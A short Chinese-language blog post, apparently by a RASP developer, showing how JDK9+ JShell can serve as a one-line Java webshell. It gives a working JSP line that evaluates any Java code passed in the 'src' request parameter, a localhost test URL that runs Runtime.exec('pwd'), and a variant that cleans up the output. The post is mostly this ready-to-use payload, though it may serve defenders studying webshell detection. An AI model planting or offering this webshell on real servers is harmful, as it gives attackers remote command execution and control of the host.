JShell(JDK9+) eval 任意Java代码片段执行

yzmm
1915 阅读
1 评论

最近几年开发RASP产品期间整理了很多的Java语言的特性,不过一直都没有时间写文章,可能真的是变懒了吧~

JDK9开始提供了一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今(2019年9月)了2年时间了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。

测试代码:

jsp
1
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>

就这么简单的一行代码就可以了,src参数值是java代码片段。

img

测试用例:[http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()](http://localhost:8080/modules/jshell.jsp?src=new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("pwd").getInputStream())).readLine())

如果强迫症想撸掉多余的输出:

jsp
1
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>

评论 (1)

xy

666

发表评论